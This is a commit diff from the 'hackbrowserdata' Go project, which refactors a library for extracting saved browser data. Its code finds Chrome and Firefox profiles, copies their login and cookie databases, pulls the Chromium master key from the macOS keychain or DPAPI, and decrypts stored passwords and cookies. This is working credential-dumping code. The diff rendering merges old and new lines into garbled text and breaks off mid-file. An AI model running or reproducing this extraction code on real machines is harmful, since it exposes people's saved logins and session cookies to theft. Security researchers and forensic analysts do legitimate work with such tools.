refactor: Refactor project as library layout

- Add new files `bookmark.go`, `chromium_darwin.go`, `browserdata/cookie.go`, `browser_windows.go`, `browser_linux.go`, `datatype.go`, `password.go`, `browserdata/browserdata.go`, `chromium_linux.go`, `chromium_windows.go`
- Refactor `NewChromium` function to accept an `Options` argument
- Refactor `options` code to use a struct instead of multiple arguments
- Modify `filterExistDataPaths` to return data paths instead of `BrowserData`
- Add `Passwords` and `Cookies` functions to `chromium`
- Delete unused files and functions ` errors.go`, `cookie.go`, `browsingdata.go`, `consts.go`, `firefox.go`, `password.go`, `chromium_test.go`, `firefox_test.go`
- Improve error messages for keychain related issues
- Change `BrowserData.Passwords()` to `Passwords()` for simplification
- Remove unused code for browsers `Yandex` and `Edge`, and unused map `browsers` and methods `BrowsingData()` and `AllBrowsingData()` from chromium and firefox structs
- Add `DefaultDBHandler` and `DefaultJSONHandler` functions for SQLite3 queries
feat/library
moonD4rk 1 year ago
parent 0d6642ead9
commit 24c90f5b92
No known key found for this signature in database
GPG Key ID: 5AB6217E08D39ABA
  1. 64
      browser.go
  2. 14
      browser_darwin.go
  3. 1
      browser_linux.go
  4. 1
      browser_windows.go
  5. 13
      browserdata/bookmark.go
  6. 51
      browserdata/browserdata.go
  7. 131
      browserdata/cookie.go
  8. 306
      browserdata/password.go
  9. 60
      browsingdata.go
  10. 197
      chromium.go
  11. 46
      chromium_darwin.go
  12. 1
      chromium_linux.go
  13. 17
      chromium_test.go
  14. 1
      chromium_windows.go
  15. 15
      cookie.go
  16. 144
      datatype.go
  17. 3
      errors.go
  18. 35
      examples/export.go
  19. 67
      firefox.go
  20. 19
      firefox_test.go
  21. 37
      options.go
  22. 185
      password.go

@ -1,52 +1,41 @@
package hackbrowserdata package hackbrowserdata
import (
"github.com/moond4rk/hackbrowserdata/browserdata"
)
type Browser interface { type Browser interface {
BrowserData Passwords() ([]browserdata.Password, error)
Init() error Cookies() ([]browserdata.Cookie, error)
}
func NewBrowser(b browser, options ...BrowserOption) (Browser, error) { ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error)
browser := browsers[b]
if setter, ok := browser.(browserOptionsSetter); ok {
for _, option := range options {
option(setter)
}
}
if err := browser.Init(); err != nil {
return nil, err
} }
return browser, nil func NewBrowser(b browser, options ...BrowserOption) (Browser, error) {
opt, ok := defaultBrowserOptions[b]
if !ok {
return nil, ErrBrowserNotSupport
} }
type browser string for _, options := range options {
options(opt)
type BrowserData interface {
Passwords() ([]Password, error)
Cookies() ([]Cookie, error)
} }
func (c *chromium) BrowsingData(items []browserDataType) ([]BrowserData, error) { if opt.NewBrowserFunc == nil {
for _, item := range items { return nil, ErrBrowserNotSupport
_ = item
} }
return nil, nil return opt.NewBrowserFunc(opt)
}
func (c *chromium) AllBrowsingData() ([]BrowserData, error) {
return nil, nil
} }
func (f *firefox) BrowsingData(_ []browserDataType) (BrowserData, error) { type browser string
return nil, nil
}
const ( const (
Chrome browser = "chrome" Chrome browser = "chrome"
Firefox browser = "firefox" Firefox browser = "firefox"
Yandex browser = "yandex" Yandex browser = "yandex"
Edge browser = "edge"
Chromium browser = "chromium"
) )
type browserType int type browserType int
@ -67,18 +56,3 @@ func (b browser) Type() browserType {
return browserTypeChromium return browserTypeChromium
} }
} }
var browsers = map[browser]Browser{
Chrome: &chromium{
name: Chrome,
storage: chromeStorageName,
profilePath: chromeProfilePath,
supportedData: []browserDataType{TypePassword},
},
Firefox: &firefox{
name: Firefox,
profilePath: firefoxProfilePath,
supportedData: []browserDataType{TypePassword},
},
Yandex: &chromium{},
}

@ -34,3 +34,17 @@ var (
firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/" firefoxProfilePath = homeDir + "/Library/Application Support/Firefox/Profiles/"
) )
var defaultBrowserOptions = map[browser]*Options{
Chrome: {
Name: Chrome,
Storage: chromeStorageName,
ProfilePath: chromeProfilePath,
NewBrowserFunc: NewChromium,
},
Firefox: {
Name: Firefox,
ProfilePath: firefoxProfilePath,
NewBrowserFunc: NewFirefox,
},
}

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1 @@
package hackbrowserdata

@ -0,0 +1,13 @@
package browserdata
import (
"time"
)
type Bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}

@ -0,0 +1,51 @@
package browserdata
import (
"database/sql"
"os"
"path/filepath"
_ "github.com/mattn/go-sqlite3"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
)
type Extractor interface {
Extract() (interface{}, error)
}
type RowsHandler func([]byte, interface{}) (interface{}, error)
type ExtractorHandler func([]byte, string, string, RowsHandler) (interface{}, error)
func DefaultDBHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) {
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath))
if err := fileutil.CopyFile(dbpath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
db, err := sql.Open("sqlite3", tempFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(dbQuery)
if err != nil {
return nil, err
}
defer rows.Close()
return rowsHandler(masterKey, rows)
}
func DefaultJSONHandler(masterKey []byte, dbpath, dbQuery string, rowsHandler RowsHandler) (interface{}, error) {
tempFile := filepath.Join(os.TempDir(), filepath.Base(dbpath))
if err := fileutil.CopyFile(dbpath, tempFile); err != nil {
return nil, err
}
defer os.Remove(tempFile)
s, err := os.ReadFile(tempFile)
if err != nil {
return nil, err
}
return rowsHandler(masterKey, s)
}

@ -0,0 +1,131 @@
package browserdata
import (
"database/sql"
"os"
"path/filepath"
"sort"
"time"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type CookieExtractor struct {
Data []Cookie
masterKey []byte
datafile string
}
func NewCookieExtractor(masterKey []byte, datafile string) *CookieExtractor {
return &CookieExtractor{masterKey: masterKey, datafile: datafile}
}
type Cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
func ExportCookie(masterKey []byte, passwordPath string) ([]Cookie, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
cookies, err := exportCookies(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return cookies, err
}
func exportCookies(masterKey []byte, profile, dbFile string) ([]Cookie, error) {
data, err := exportData(masterKey, profile, dbFile, handlerCookie)
if err != nil {
return nil, err
}
cookies := make([]Cookie, 0, len(data))
for _, v := range data {
cookies = append(cookies, v.(Cookie))
}
sort.Slice(cookies, func(i, j int) bool {
return (cookies)[i].CreateDate.After((cookies)[j].CreateDate)
})
return cookies, nil
}
type rowHandlerFunc func(masterKey []byte, rows *sql.Rows) (interface{}, error)
func handlerCookie(masterKey []byte, rows *sql.Rows) (interface{}, error) {
var (
err error
key, host, path string
isSecure, isHTTPOnly, hasExpire, isPersistent int
createDate, expireDate int64
value, encryptValue []byte
)
if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil {
log.Warn(err)
}
cookie := Cookie{
KeyName: key,
Host: host,
Path: path,
encryptValue: encryptValue,
IsSecure: typeutil.IntToBool(isSecure),
IsHTTPOnly: typeutil.IntToBool(isHTTPOnly),
HasExpire: typeutil.IntToBool(hasExpire),
IsPersistent: typeutil.IntToBool(isPersistent),
CreateDate: typeutil.TimeEpoch(createDate),
ExpireDate: typeutil.TimeEpoch(expireDate),
}
if len(encryptValue) > 0 {
if len(masterKey) == 0 {
value, err = crypto.DPAPI(encryptValue)
} else {
value, err = crypto.DecryptPass(masterKey, encryptValue)
}
if err != nil {
log.Error(err)
}
}
cookie.Value = string(value)
return cookie, nil
}
func exportData(masterKey []byte, passFile string, query string, rowHandler rowHandlerFunc) ([]interface{}, error) {
db, err := sql.Open("sqlite3", passFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(query)
if err != nil {
return nil, err
}
defer rows.Close()
var data []interface{}
for rows.Next() {
item, err := rowHandler(masterKey, rows)
if err != nil {
log.Warn(err)
continue
}
data = append(data, item)
}
return data, nil
}

@ -0,0 +1,306 @@
package browserdata
import (
"database/sql"
"encoding/base64"
"os"
"path/filepath"
"time"
// import go-sqlite3 driver
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type PasswordExtractor struct {
masterKey []byte
datafiles []string
extractorHandler ExtractorHandler
rowsHandler RowsHandler
}
type Password struct {
Profile string
Username string
Password string
encryptPass []byte
encryptUser []byte
LoginURL string
CreateDate time.Time
}
func NewPassExtractor(masterKey []byte, datafiles []string, fileHandler ExtractorHandler, rowsHandler RowsHandler) *PasswordExtractor {
return &PasswordExtractor{
masterKey: masterKey,
datafiles: datafiles,
extractorHandler: fileHandler,
rowsHandler: rowsHandler,
}
}
func (d *PasswordExtractor) Extract() (interface{}, error) {
var passwords []Password
var err error
for _, datafile := range d.datafiles {
data, err := d.extractorHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler)
if err != nil {
log.Error(err)
continue
}
passwords = append(passwords, data.([]Password)...)
}
return passwords, err
}
func ChromiumPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) {
sqlRows := rows.(*sql.Rows)
var passwords []Password
for sqlRows.Next() {
var (
url, username string
encryptPass, password []byte
create int64
err error
)
if err := sqlRows.Scan(&url, &username, &encryptPass, &create); err != nil {
log.Warn(err)
continue
}
pass := Password{
// Profile: filepath.Base(profile),
Username: username,
encryptPass: encryptPass,
LoginURL: url,
}
if len(encryptPass) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DPAPI(encryptPass)
} else {
password, err = crypto.DecryptPass(masterKey, encryptPass)
}
if err != nil {
log.Error(err)
}
}
if create > time.Now().Unix() {
pass.CreateDate = typeutil.TimeEpoch(create)
} else {
pass.CreateDate = typeutil.TimeStamp(create)
}
pass.Password = string(password)
passwords = append(passwords, pass)
}
return passwords, nil
}
func FirefoxPassRowsHandler(masterKey []byte, rows interface{}) (interface{}, error) {
var passwords []Password
jsonBytes := rows.([]byte)
jsonRows := gjson.GetBytes(jsonBytes, "logins").Array()
if len(jsonRows) == 0 {
return nil, nil
}
for _, v := range jsonRows {
var (
p Password
encryptUser []byte
encryptPass []byte
err error
)
p.LoginURL = v.Get("formSubmitURL").String()
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
p.encryptUser = encryptUser
p.encryptPass = encryptPass
// TODO: handle error
userPBE, err := crypto.NewASN1PBE(p.encryptUser)
if err != nil {
return nil, err
}
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass)
if err != nil {
return nil, err
}
username, err := userPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
password, err := pwdPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
p.Password = string(password)
p.Username = string(username)
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
passwords = append(passwords, p)
}
return passwords, nil
}
func (d *PasswordExtractor) ExtractChromium() (interface{}, error) {
var passwords []Password
var err error
for _, datafile := range d.datafiles {
data, err := DefaultDBHandler(d.masterKey, datafile, queryChromiumLogin, d.rowsHandler)
if err != nil {
log.Error(err)
continue
}
passwords = append(passwords, data.([]Password)...)
}
return passwords, err
}
func (d *PasswordExtractor) ExtractFirefox() (interface{}, error) {
return nil, nil
}
func Export(masterKey []byte, passwordPath string) ([]Password, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
passwords, err := exportPasswords(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return passwords, err
}
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
func exportPasswords(masterKey []byte, profile, passFile string) ([]Password, error) {
db, err := sql.Open("sqlite3", passFile)
if err != nil {
return nil, err
}
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
return nil, err
}
var passwords []Password
for rows.Next() {
var (
url, username string
encryptPass, password []byte
create int64
)
if err := rows.Scan(&url, &username, &encryptPass, &create); err != nil {
log.Warn(err)
}
pass := Password{
Profile: filepath.Base(profile),
Username: username,
encryptPass: encryptPass,
LoginURL: url,
}
if len(encryptPass) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DPAPI(encryptPass)
} else {
password, err = crypto.DecryptPass(masterKey, encryptPass)
}
if err != nil {
log.Error(err)
}
}
if create > time.Now().Unix() {
pass.CreateDate = typeutil.TimeEpoch(create)
} else {
pass.CreateDate = typeutil.TimeStamp(create)
}
pass.Password = string(password)
passwords = append(passwords, pass)
}
return passwords, nil
}
const (
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)
func ExportPasswords(masterKey []byte, passwordPath string) ([]Password, error) {
tempPassFile := filepath.Join(os.TempDir(), filepath.Base(passwordPath))
if err := fileutil.CopyFile(passwordPath, tempPassFile); err != nil {
return nil, err
}
defer os.Remove(tempPassFile)
passwords, err := exportFirefoxPasswords(masterKey, "", tempPassFile)
if err != nil {
return nil, err
}
return passwords, err
}
func exportFirefoxPasswords(masterKey []byte, profile, passFile string) ([]Password, error) {
s, err := os.ReadFile(passFile)
if err != nil {
return nil, err
}
defer os.Remove(passFile)
loginsJSON := gjson.GetBytes(s, "logins")
var passwords []Password
if !loginsJSON.Exists() {
return nil, err
}
for _, v := range loginsJSON.Array() {
var (
p Password
encryptUser []byte
encryptPass []byte
)
p.LoginURL = v.Get("formSubmitURL").String()
encryptUser, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
encryptPass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
p.encryptUser = encryptUser
p.encryptPass = encryptPass
// TODO: handle error
userPBE, err := crypto.NewASN1PBE(p.encryptUser)
if err != nil {
return nil, err
}
pwdPBE, err := crypto.NewASN1PBE(p.encryptPass)
if err != nil {
return nil, err
}
username, err := userPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
password, err := pwdPBE.Decrypt(masterKey)
if err != nil {
return nil, err
}
p.Password = string(password)
p.Username = string(username)
p.Profile = profile
p.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
passwords = append(passwords, p)
}
return passwords, nil
}

@ -1,60 +0,0 @@
package hackbrowserdata
type browserDataType int
const (
TypePassword browserDataType = iota + 1
TypeCookie
TypeHistory
TypeBookmark
TypeCreditCard
TypeDownload
TypeExtensions
TypeSessionStorage
TypeLocalStorage
)
func (i browserDataType) Filename(b browser) string {
switch b.Type() {
case browserTypeChromium:
return i.chromiumFilename()
case browserTypeFirefox:
return i.firefoxFilename()
case browserTypeYandex:
return i.yandexFilename()
}
return ""
}
func (i browserDataType) chromiumFilename() string {
switch i {
case TypePassword:
return "Login Data"
case TypeCookie:
return "Cookies"
case TypeHistory:
}
return ""
}
func (i browserDataType) yandexFilename() string {
switch i {
case TypePassword:
return "Login State"
case TypeCookie:
return "Cookies"
case TypeHistory:
}
return ""
}
func (i browserDataType) firefoxFilename() string {
switch i {
case TypePassword:
return "logins.json"
case TypeCookie:
return "cookies.sqlite"
case TypeHistory:
}
return ""
}

@ -1,17 +1,13 @@
package hackbrowserdata package hackbrowserdata
import ( import (
"bytes"
"crypto/sha1"
"errors" "errors"
"fmt" "fmt"
"io/fs" "io/fs"
"os/exec"
"path/filepath" "path/filepath"
"strings" "strings"
"golang.org/x/crypto/pbkdf2" "github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/utils/fileutil" "github.com/moond4rk/hackbrowserdata/utils/fileutil"
) )
@ -19,38 +15,153 @@ type chromium struct {
name browser name browser
storage string storage string
profilePath string profilePath string
enableAllUsers bool
profilePaths []string profilePaths []string
disableFindAllUser bool
masterKey []byte masterKey []byte
supportedData []browserDataType // defaultDataTypes
supportedDataMap map[browserDataType]struct{} supportedDataTypes []DataType
extractors map[DataType]browserdata.Extractor
extractedData map[DataType]interface{}
} }
func (c *chromium) Init() error { func NewChromium(options *Options) (Browser, error) {
if err := c.initBrowserData(); err != nil { if options.ProfilePath == "" {
return err return nil, errors.New("profile path is required")
}
if options.Name == "" {
return nil, errors.New("browser name is required")
}
c := &chromium{
name: options.Name,
profilePath: options.ProfilePath,
enableAllUsers: true,
supportedDataTypes: defaultDataTypes,
extractors: make(map[DataType]browserdata.Extractor),
extractedData: make(map[DataType]interface{}),
}
if !options.IsEnableAllUser {
c.enableAllUsers = false
}
if len(options.DataTypes) > 0 {
c.supportedDataTypes = options.DataTypes
}
if err := c.init(); err != nil {
return nil, err
} }
if err := c.initProfile(); err != nil { return c, nil
}
func (c *chromium) init() error {
if err := c.initProfiles(); err != nil {
return fmt.Errorf("profile path '%s' does not exist %w", c.profilePath, ErrBrowserNotExists) return fmt.Errorf("profile path '%s' does not exist %w", c.profilePath, ErrBrowserNotExists)
} }
if err := c.initExtractors(); err != nil {
return err
}
return c.initMasterKey() return c.initMasterKey()
} }
func (c *chromium) initBrowserData() error { func (c *chromium) ExtractBrowserData(dataTypes []DataType) (map[DataType]interface{}, error) {
if c.supportedDataMap == nil { for _, dataType := range dataTypes {
c.supportedDataMap = make(map[browserDataType]struct{}) if extractor, ok := c.extractors[dataType]; ok {
data, err := extractor.Extract()
if err != nil {
fmt.Printf("extract %s data failed: %v", dataType, err)
continue
}
c.extractedData[dataType] = data
}
}
return c.extractedData, nil
}
// func (c *chromium) Passwords() ([]password.Password, error) {
// // browserData, err := c.ExtractBrowserData([]DataType{TypePassword})
// // if err != nil {
// // return nil, err
// // }
// dataType := TypePassword
// if data, ok := c.extractedData[dataType]; ok {
// return data.([]password.Password), nil
// }
// extractor, ok := c.extractors[dataType]
// if !ok {
// return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
// }
// data, err := extractor.ExtractChromium()
// if err != nil {
// return nil, err
// }
// return data.([]password.Password), nil
// }
func (c *chromium) filterExistDataPaths(dataTypes []DataType) (map[DataType][]string, error) {
// exporters := make(map[DataType]BrowserData)
dataPaths := make(map[DataType][]string)
var errs []error
for _, profile := range c.profilePaths {
for _, dataType := range dataTypes {
dataTypeFile := filepath.Join(profile, dataType.Filename(c.name))
if !fileutil.IsFileExists(dataTypeFile) {
errs = append(errs, ErrBrowsingDataNotExists)
}
dataPaths[dataType] = append(dataPaths[dataType], dataTypeFile)
}
}
return dataPaths, nil
}
func (c *chromium) Passwords() ([]browserdata.Password, error) {
dataType := TypePassword
if data, ok := c.extractedData[dataType]; ok {
return data.([]browserdata.Password), nil
}
extractor, ok := c.extractors[dataType]
if !ok {
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
}
data, err := extractor.Extract()
if err != nil {
return nil, err
}
return data.([]browserdata.Password), nil
}
func (c *chromium) Cookies() ([]browserdata.Cookie, error) {
dataType := TypeCookie
if data, ok := c.extractedData[dataType]; ok {
return data.([]browserdata.Cookie), nil
}
extractor, ok := c.extractors[dataType]
if !ok {
return nil, fmt.Errorf("%s extractor for %s not found", dataType, c.name)
}
data, err := extractor.Extract()
if err != nil {
return nil, err
} }
for _, v := range c.supportedData { return data.([]browserdata.Cookie), nil
c.supportedDataMap[v] = struct{}{} }
func (c *chromium) initExtractors() error {
dataPaths, err := c.filterExistDataPaths(c.supportedDataTypes)
if err != nil {
return err
}
for _, dataType := range c.supportedDataTypes {
if _, ok := dataPaths[dataType]; !ok {
continue
}
c.extractors[dataType] = dataType.NewExtractor(c.name.Type(), c.masterKey, dataPaths[dataType])
} }
return nil return nil
} }
func (c *chromium) initProfile() error { func (c *chromium) initProfiles() error {
if !fileutil.IsDirExists(c.profilePath) { if !fileutil.IsDirExists(c.profilePath) {
return ErrBrowserNotExists return ErrBrowserNotExists
} }
if !c.disableFindAllUser { if c.enableAllUsers {
profilesPaths, err := c.findAllProfiles() profilesPaths, err := c.findAllProfiles()
if err != nil { if err != nil {
return err return err
@ -62,6 +173,7 @@ func (c *chromium) initProfile() error {
return nil return nil
} }
// TODO: mix it as firefox's find All Profiles
func (c *chromium) findAllProfiles() ([]string, error) { func (c *chromium) findAllProfiles() ([]string, error) {
var profiles []string var profiles []string
root := fileutil.ParentDir(c.profilePath) root := fileutil.ParentDir(c.profilePath)
@ -70,7 +182,8 @@ func (c *chromium) findAllProfiles() ([]string, error) {
return err return err
} }
// if the path ends with "History", add it to the list // if the path ends with "History", add it to the list
if strings.HasSuffix(path, "History") { if strings.HasSuffix(path, TypeHistory.Filename(c.name)) {
// skip the "System Profile" directory
if !strings.Contains(path, "System Profile") { if !strings.Contains(path, "System Profile") {
profiles = append(profiles, filepath.Dir(path)) profiles = append(profiles, filepath.Dir(path))
} }
@ -78,7 +191,6 @@ func (c *chromium) findAllProfiles() ([]string, error) {
// calculate the depth of the current path // calculate the depth of the current path
depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator))) depth := len(strings.Split(path, string(filepath.Separator))) - len(strings.Split(root, string(filepath.Separator)))
// if the depth is more than 2 and it's a directory, skip it // if the depth is more than 2 and it's a directory, skip it
if info.IsDir() && path != root && depth >= 2 { if info.IsDir() && path != root && depth >= 2 {
return filepath.SkipDir return filepath.SkipDir
@ -90,46 +202,3 @@ func (c *chromium) findAllProfiles() ([]string, error) {
} }
return profiles, err return profiles, err
} }
func (c *chromium) initMasterKey() error {
var stdout, stderr bytes.Buffer
args := []string{"find-generic-password", "-wa", strings.TrimSpace(c.storage)}
cmd := exec.Command("security", args...) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return ErrCouldNotFindInKeychain
}
return errors.New(stderr.String())
}
secret := bytes.TrimSpace(stdout.Bytes())
if len(secret) == 0 {
return ErrNoPasswordInOutput
}
salt := []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(secret, salt, 1003, 16, sha1.New)
if len(key) == 0 {
return ErrWrongSecurityCommand
}
c.masterKey = key
return nil
}
func (c *chromium) setProfilePath(p string) {
c.profilePath = p
}
func (c *chromium) setDisableAllUsers(e bool) {
c.disableFindAllUser = e
}
func (c *chromium) setStorageName(s string) {
c.storage = s
}

@ -0,0 +1,46 @@
package hackbrowserdata
import (
"bytes"
"crypto/sha1"
"errors"
"fmt"
"os/exec"
"strings"
"golang.org/x/crypto/pbkdf2"
)
var (
salt = []byte("saltysalt")
)
func (c *chromium) initMasterKey() error {
var stdout, stderr bytes.Buffer
args := []string{"find-generic-password", "-wa", strings.TrimSpace(c.storage)}
cmd := exec.Command("security", args...) //nolint:gosec
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("run security command failed: %w, message %s", err, stderr.String())
}
if stderr.Len() > 0 {
if strings.Contains(stderr.String(), "could not be found") {
return ErrCouldNotFindInKeychain
}
return errors.New(stderr.String())
}
secret := bytes.TrimSpace(stdout.Bytes())
if len(secret) == 0 {
return ErrNoPasswordInOutput
}
key := pbkdf2.Key(secret, salt, 1003, 16, sha1.New)
if len(key) == 0 {
return ErrWrongSecurityCommand
}
c.masterKey = key
return nil
}

@ -0,0 +1 @@
package hackbrowserdata

@ -1,17 +0,0 @@
package hackbrowserdata
import (
"testing"
)
func TestChromium_Init(_ *testing.T) {
}
func BenchmarkChromium_Init(b *testing.B) {
chromium := browsers[Chrome]
for i := 0; i < b.N; i++ {
if err := chromium.Init(); err != nil {
b.Fatal(err)
}
}
}

@ -0,0 +1 @@
package hackbrowserdata

@ -1,15 +0,0 @@
package hackbrowserdata
type Cookie struct {
Domain string
Expiration float64
Value string
}
func (c *chromium) Cookies() ([]Cookie, error) {
return nil, nil
}
func (f *firefox) Cookies() ([]Cookie, error) {
return nil, nil
}

@ -0,0 +1,144 @@
package hackbrowserdata
import (
"github.com/moond4rk/hackbrowserdata/browserdata"
)
type DataType int
const (
TypeMasterKey DataType = iota
TypePassword
TypeCookie
TypeHistory
TypeBookmark
TypeCreditCard
TypeDownload
TypeExtensions
TypeSessionStorage
TypeLocalStorage
)
func (i DataType) NewExtractor(browserType browserType, masterKey []byte, datafiles []string) browserdata.Extractor {
switch i {
case TypePassword:
switch browserType {
case browserTypeChromium:
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultDBHandler, browserdata.ChromiumPassRowsHandler)
case browserTypeFirefox:
return browserdata.NewPassExtractor(masterKey, datafiles, browserdata.DefaultJSONHandler, browserdata.FirefoxPassRowsHandler)
}
case TypeCookie:
}
return nil
}
var (
defaultDataTypes = []DataType{TypePassword, TypeCookie}
)
const unsupportedType = ""
func (i DataType) Filename(b browser) string {
switch b.Type() {
case browserTypeChromium:
return i.chromiumFilename()
case browserTypeFirefox:
return i.firefoxFilename()
case browserTypeYandex:
return i.yandexFilename()
default:
return unsupportedType
}
}
func (i DataType) chromiumFilename() string {
switch i {
case TypeMasterKey:
return fileChromiumKey
case TypePassword:
return fileChromiumPassword
case TypeCookie:
return fileChromiumCookie
case TypeHistory:
return fileChromiumHistory
case TypeBookmark:
return fileChromiumBookmark
case TypeCreditCard:
return fileChromiumCredit
case TypeDownload:
return fileChromiumDownload
case TypeExtensions:
return fileChromiumExtension
case TypeSessionStorage:
return fileChromiumSessionStorage
case TypeLocalStorage:
return fileChromiumLocalStorage
default:
return unsupportedFile
}
}
func (i DataType) yandexFilename() string {
switch i {
case TypePassword:
return fileYandexPassword
case TypeCreditCard:
return fileYandexCredit
default:
return i.chromiumFilename()
}
}
func (i DataType) firefoxFilename() string {
switch i {
case TypeMasterKey:
return fileFirefoxMasterKey
case TypePassword:
return fileFirefoxPassword
case TypeCookie:
return fileFirefoxCookie
case TypeHistory:
return fileFirefoxData
case TypeBookmark:
return fileFirefoxData
case TypeCreditCard:
// Firefox does not store credit cards
return unsupportedFile
case TypeDownload:
return fileFirefoxData
case TypeExtensions:
return fileFirefoxExtension
case TypeSessionStorage:
return fileFirefoxData
case TypeLocalStorage:
return fileFirefoxLocalStorage
default:
return unsupportedFile
}
}
const unsupportedFile = "unsupported file"
const (
fileChromiumKey = "Local State"
fileChromiumCredit = "Web Data"
fileChromiumPassword = "Login Data"
fileChromiumHistory = "History"
fileChromiumDownload = "History"
fileChromiumCookie = "Cookies"
fileChromiumBookmark = "Bookmarks"
fileChromiumLocalStorage = "Local Storage/leveldb"
fileChromiumSessionStorage = "Session Storage"
fileChromiumExtension = "Extensions"
fileYandexPassword = "Ya Passman Data"
fileYandexCredit = "Ya Credit Cards"
fileFirefoxMasterKey = "key4.db"
fileFirefoxCookie = "cookies.sqlite"
fileFirefoxPassword = "logins.json"
fileFirefoxData = "places.sqlite"
fileFirefoxLocalStorage = "webappsstore.sqlite"
fileFirefoxExtension = "extensions.json"
)

@ -6,7 +6,10 @@ import (
var ( var (
ErrBrowserNotExists = errors.New("browser not exists") ErrBrowserNotExists = errors.New("browser not exists")
ErrBrowserNotSupport = errors.New("browser not support")
ErrWrongSecurityCommand = errors.New("wrong security command") ErrWrongSecurityCommand = errors.New("wrong security command")
ErrNoPasswordInOutput = errors.New("no password in output") ErrNoPasswordInOutput = errors.New("no password in output")
ErrCouldNotFindInKeychain = errors.New("could not be find in keychain") ErrCouldNotFindInKeychain = errors.New("could not be find in keychain")
ErrBrowsingDataNotSupport = errors.New("browsing data not support")
ErrBrowsingDataNotExists = errors.New("browsing data not exists")
) )

@ -7,44 +7,17 @@ import (
) )
func main() { func main() {
chrome, err := hkb.NewBrowser(hkb.Chrome) browser, err := hkb.NewBrowser(hkb.Firefox)
if err != nil { if err != nil {
panic(err) panic(err)
} }
passwords, err := chrome.Passwords() passwords, err := browser.Passwords()
if err != nil { if err != nil {
panic(err) panic(err)
} }
for _, pass := range passwords { fmt.Println(len(passwords))
fmt.Printf("%+v\n", pass) // all, err := browser.AllBrowsingData()
}
// cookies, err := chrome.Cookies()
// if err != nil {
// panic(err)
// }
// creditCards, err := browser.CreditCards()
// bookmarks, err := browser.Bookmarks()
// downloads, err := browser.Downloads()
// extensions, err := browser.Extensions()
// history, err := browser.History()
// localStorage, err := browser.LocalStorage()
// sessionStorage, err := browser.SessionStorage()
// items := []hkb.browsingDataType{hkb.Cookie, hkb.Password, hkb.History, hkb.Bookmark}
// browsingData, err := browser.BrowsingDatas(items)
// if err != nil {
// panic(err)
// }
//
// if err != nil {
// panic(err)
// }
// _ = cookies
// items := []hkb.browsingDataType{hkb.Cookie}
// datas, err := browser.BrowsingDatas(items)
// if err != nil { // if err != nil {
// panic(err) // panic(err)
// } // }
// _ = datas
} }

@ -3,6 +3,7 @@ package hackbrowserdata
import ( import (
"bytes" "bytes"
"database/sql" "database/sql"
"errors"
"fmt" "fmt"
"io/fs" "io/fs"
"os" "os"
@ -12,6 +13,7 @@ import (
